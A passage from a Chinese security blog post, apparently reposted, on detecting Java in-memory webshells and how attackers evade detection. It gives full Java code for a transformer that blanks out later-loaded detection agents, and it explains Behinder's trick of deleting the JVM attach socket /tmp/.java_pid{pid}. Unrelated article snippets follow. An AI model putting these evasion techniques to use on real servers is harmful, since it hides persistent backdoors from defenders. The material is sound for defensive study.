:如果攻击者通过构造调用链层层调用的方式,去隐藏恶意代码的指纹特征,那么将会大大提高检测的难度和资源的消耗。对此,我们可以使用递归的方式,对调用链上所有的类和方法进行分析判断,只要调用链中的任何一环存在可疑代码,就将其标记为可疑。此外,该方法属于事后检测,在此之前,内存马可能已经在系统中潜伏一定的时间。

RASP 运行时防护

Gartner在2014年提出了应用自我保护技术(RASP)的概念。Java中,RASP也是利用JVM的Instrument技术,在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。

优点 :RASP属于实时检测,在内存马创建的过程中就能检测并阻断。这种方式准确性强,可以结合请求的上下文环境进行精准判断,误报的几率较低。

缺点 :侵入性较强,运行在应用的整个生命周期中,增加应用的资源消耗。

内存马的免杀

攻防是一个相互博弈的过程,既然有查杀,就会有免杀。最直接的免杀思路,就是破坏掉后续加载的检测Agent,或者使其压根就无法加载,从而达到免杀的目的。

破坏检测Agent的加载

参考:https://github.com/threedr3am/ZhouYu

//ProtectTransformer
package com.nsfocus.shell;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;
import java.io.ByteArrayInputStream;

public class ProtectTransformer implements ClassFileTransformer {

    private boolean check(String className, CtClass ctClass) throws Throwable {
        CtClass[] interfaces = ctClass.getInterfaces();
        if (interfaces != null) {
            boolean flag;
            for (CtClass anInterface : interfaces) {
                //遇到其它的Agent,不让它加载
                if (anInterface.getName().equals("java.lang.instrument.ClassFileTransformer")) {
                    System.out.printf("[nsfocus] 有新的Agent: %s 加载 %n", className);
                    return true;
                }
                flag = check(className, anInterface);
                if (flag) {
                    return true;
                }
            }
        }
        return false;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

        CtClass ctc = null;
        try {
            ClassPool cp = ClassPool.getDefault();
            cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            ctc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
            if (ctc != null && check(className, ctc)) {
                //System.out.println(ctc.getName());
                return new byte[0];
            }
        } catch (Throwable e) {
            e.printStackTrace();
        } finally {
            if (ctc != null) {
                ctc.detach();
            }
        }
        return classfileBuffer;

    }

}

该代码通过check方法,递归检测 java.lang.instrument.ClassFileTransformer 接口,防止多层嵌套
interface 结构绕过。一旦检测到某个类继承自 java.lang.instrument.ClassFileTransformer 接口,就
return new byte[0],将其字节码修改为空,从而达到破坏目的。

示例

修改Agent.java,将Transformer更改为ProtectTransformer(shell.jar):

image-20220222155003503.png

运行demo.jar和shell.jar(ProtectTransformer):

image-20220222155308336.png

运行memshell.jar(模拟检测Agent):

image-20220222155547064.png

可以看到,ProtectTransformer虽然能够判断出后续Agent的加载,但是未能将其成功破坏掉,这可能与环境或者其内部执行的时机有关。逻辑上来讲,ProtectTransformer是能够破坏RASP正常工作的。

阻止检测Agent的加载

冰蝎内存马从 Behinder_v3.0 Beta 10 开始就添加了防检测的功能。

image-20220222163426750.png

对冰蝎中的MemShell进行分析,在Linux下,它通过删除一个名为/tmp/.java_pid+{pid}的文件,达到了防检测的目的。为什么删除这个文件就能够防止检测呢?这还得从Agent加载的流程分析。前面了解过,Agent注入是通过调用com.sun.tools.attach.VirtualMachine的loadAgent实现的。跟进loadAgent,其调用了loadAgentLibrary方法:

image-20220222172013301.png

跟进loadAgentLibrary方法,其调用了execute方法:

image-20220222181121200.png

跟进execute方法:

image-20220222182236069.png

前面我们说过,Linux、Windows等不同平台下的Attach API是不完全相同的。该部分是在使用Windows的tools.jar的情况下分析的,因此上图中显示的是WindowsVirturalMachine.class,其大致功能用于实现进程间通信。结合冰蝎的免杀方法以及Linux下“一切皆文件”的思想,不难反推出,该部分在Linux下是通过execute方法改写socket文件来实现进程间通信的。下面更换Linux的tools.jar验证一下:

image-20220223124459292.png

示例

在Linux环境下运行demo.jar进行测试,成功找到JVM进程暴露的socket文件:

image-20220223132327114.png

删除/tmp/.java_pid4190后运行memshell.jar,注入失败:

image-20220223142317696.png

综上,冰蝎实现免杀的方法应该就是删除JVM进程对外暴露的/tmp/.java_pid+{pid}socket文件,阻止JVM进程的通信,从而禁止了Agent的加载。Agent无法注入,自然就无法检测内存马了。

最后

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,有需要的小伙伴,可以【扫下方二维码】免费领取:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/197407.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

黑马主播单场带货千万,抖音直播市场还有哪些新机遇?

1月受春节假期影响&#xff0c;主播带货场次降低&#xff0c;抖音直播电商市场略显低迷&#xff0c;据新抖『直播带货风向』大盘数据显示&#xff0c;1月平台直播销量与去年12月相比下降39.55%&#xff0c;直播销售额下降也较为明显。了解更多行业带货风向&#xff0c;可点此处…

【C++11】可变参数模板

目录 可变参数模板 函数递归展开参数包 逗号表达式展开参数包 emplace_back 可变参数模板 其实C语言中我们就一直在使用可变参数列表。 C11 的新特性可变参数模板能够让我们创建可变参数的函数模板和类模板&#xff0c;相比C98和C03&#xff0c;类模板和函数模板中只能传入…

19《Protein Actions Principles and Modeling》-《蛋白质作用原理和建模》中文分享

《Protein Actions Principles and Modeling》-《蛋白质作用原理和建模》 本人能力有限&#xff0c;如果错误欢迎批评指正。 第四章&#xff1a;Protein Binding Leads to Biological Actions &#xff08;蛋白质的结合会产生生物作用&#xff09; -布朗棘轮在耦合结合的过…

独角兽大牛纯手肛出的一份多线程实战文档,莫把它丢进收藏夹吃灰

为什么用多线程&#xff1f; 在操作系统级别上&#xff0c;程序的执行都是以进程为单位&#xff0c;而每一个进程中通常都会有多个线程线程互不影响地并发执行&#xff0c;那么为什么要使用多线程呢&#xff1f;其实&#xff0c;多线程的使用为程序研发带来了巨大的便利&#…

删除重复数字的三种方法(详解)

前言&#xff1a;本期是关于去重数字的三种方法详解&#xff0c;今天你c了吗&#xff1f; 输入描述&#xff1a; 第一行&#xff0c;输入一个整数n&#xff0c;表示序列有n个整数。 第二行输入n个整数&#xff08;每个整数大于等于1&#xff0c;小于等于1000&#xff09;&…

关于模板字面量,我有点好奇它的内部结构

前言 最近翻看源码的时候&#xff0c;发现一些有趣的 JS 的知识点&#xff0c;基于日常的开发经验&#xff0c;我做了一些联想和对比。整个过程充满了乐趣。 于是我想&#xff0c;是不是可以延续这种创意带来的学习的乐趣。 带的富含创造力夜晚的 buff&#xff0c;确实让我拥…

一、系统编程常用api

一、文件io文件io是linux系统提供的接口&#xff0c;针对文件和磁盘进行操作&#xff0c;不带缓存机制标准io是c语言函数库里的标准io模型&#xff0c;在stdio.h中定义&#xff0c;通过缓冲区操作文件&#xff0c;带有缓存机制标准 IO 和文件 IO 的区别如下图所示&#xff1a;文…

SSD(固态) VS HDD(机械),购买指南

大多数人买电脑的时候纠结买固态硬盘&#xff08;SSD&#xff09;还是机械硬盘(HDD)。哪个是最佳选择呢&#xff0c;是固态硬盘还是机械硬盘呢&#xff1f;这个问题没有直接的答案&#xff0c;每个购买者有不同的需求&#xff0c; 需要根据需求做选择。这些需求像是性能、和预算…

DS18B20测量温度液晶1602显示

DS18B20温度传感器简介DS18B20是一种数字温度传感器。它输出的是数字信号&#xff0c;同时具有体积小&#xff0c;硬件资源耗费少&#xff0c;抗干扰能力强&#xff0c;精度高等特点。DS18B20温度传感器特点1、单线接口&#xff1a;DS18B20仅需一条线可实现与微处理器双向通信。…

泰山服务器板载 HNS3 网卡绑核无法充分利用 CPU 的解决思路

文章目录前言解决方案排查过程应用程序运行环境与方式检查是否存在 irqbalance 进程检查中断号对应的 CPU 亲和尝试其他绑核方式尝试调整队列数量:核心数量为 2:1前言 前段时间在泰山服务器上进行性能测试&#xff0c;预期是应用进程能够占满机器大部分 CPU。但实际上&#xf…

书城第二阶段——用户注册和登陆

目录0.0 JavaEE 项目的三层架构0.1 项目阶段二&#xff1a;用户注册和登陆的实现。1、先创建书城需要的数据库和表。2、编写数据库表对应的JavaBean对象。3、编写工具类 JdbcUtils3.1、导入需要的 jar 包&#xff08;数据库和连接池需要&#xff09;&#xff1a;3.2、在 src 源…

钉钉一键登录第三方网站

钉钉一键登录第三方网站序钉钉开发者后台H5微应用应用代码开发登录页面login.html登录实现LoginController.javapom.xml增加一键登录效果展示序 企业内部系统已经做过了钉钉扫码登录&#xff0c;现在需要添加钉钉一键登录第三方网站功能&#xff0c;这里主要记录一键登录整个实…

物联网终端设备的工作原理和功能讲解

物联网终端设备是实现数据采集和数据传输的设备&#xff0c;它连接了传感网络层和传输网络层&#xff0c;起到了数据采集、数据处理、数据加密和传输的功能。 物联网终端设备由传感器、外部传感接口、CPU和外部通讯组成&#xff0c;工作原理是通过外部传感接口与传感设备连接&a…

和平精英军需精打细算天花板,330拿下一整套军需

和平精英军需精打细算天花板&#xff0c;330拿下一整套军需&#xff01; #和平精英 #这游戏不花钱 #游戏凡星计划 军需精打细算天花板&#xff0c;一个月时间花 110 块获得 436 个军需币。拿个新军需的副套问题不大。要知道和平小店的暖弄大礼包&#xff0c; 100 左右&#…

一次在 classpath 使用通配符导致的偶发问题排查与建议

说起 Classpath&#xff0c;使用 Java 的同学应该都不会陌生。不过&#xff0c;目前的项目基本都会使用 Maven 等构建工具管理&#xff0c;开发过程中也会使用高度智能化的 IDE&#xff0c;在日常使用中直接涉及 Classpath 操作可能不多。前段时间遇到一个跟 Classpath 相关的偶…

【My Electronic Notes系列——触发器】

目录 序言&#xff1a; &#x1f3c6;&#x1f3c6;人生在世&#xff0c;成功并非易事&#xff0c;他需要破茧而出的决心&#xff0c;他需要永不放弃的信念&#xff0c;他需要水滴石穿的坚持&#xff0c;他需要自强不息的勇气&#xff0c;他需要无畏无惧的凛然。要想成功&…

【栈】单调栈详情介绍及其运用

单调栈单调栈的概述&#xff08;Overview&#xff09;何时使用单调栈模拟单调递增栈单调栈的运用&#xff08;算法练习题&#xff09;模板【练习一、单调栈】739. 每日温度【练习二、单调栈哈希表】496. 下一个更大元素 I【练习三、单调栈循环数组】503. 下一个更大元素 II【练…

Word处理控件Aspose.Words功能演示:使用 C++ 处理 Word 文档中的目录

Aspose API支持流行文件格式处理&#xff0c;并允许将各类文档导出或转换为固定布局文件格式和最常用的图像/多媒体格式。 Aspose.words是一种高级Word文档处理API&#xff0c;用于执行各种文档管理和操作任务。API支持生成&#xff0c;修改&#xff0c;转换&#xff0c;呈现和…

4EVERLAND IPFS CID部署,一键部署Uniswap

近日&#xff0c;4EVERLAND推出IPFS CID部署&#xff0c;开发者可以复制IPFS CID&#xff0c;一键部署到4EVERLAND。 一键部署&#xff0c;无需通过Github Repo&#xff0c;只需要知道CID即可。一键跨平台部署项目到 Arweave 或 ICP。了解IPFS CID&#xff0c;通过4EVERLAND绑…

漫谈广告机制设计 | 开篇语

很久没有写文章了&#xff0c;oCPC实践录的专栏还没有写完&#xff0c;我就换工作了&#xff0c;去了M公司&#xff0c;做的内容与oCPC不怎么相关&#xff0c;对于其中的问题思考也没有那么多了&#xff0c;好在专栏的核心思想已经基本阐明了。在M公司也已经快两年了&#xff0…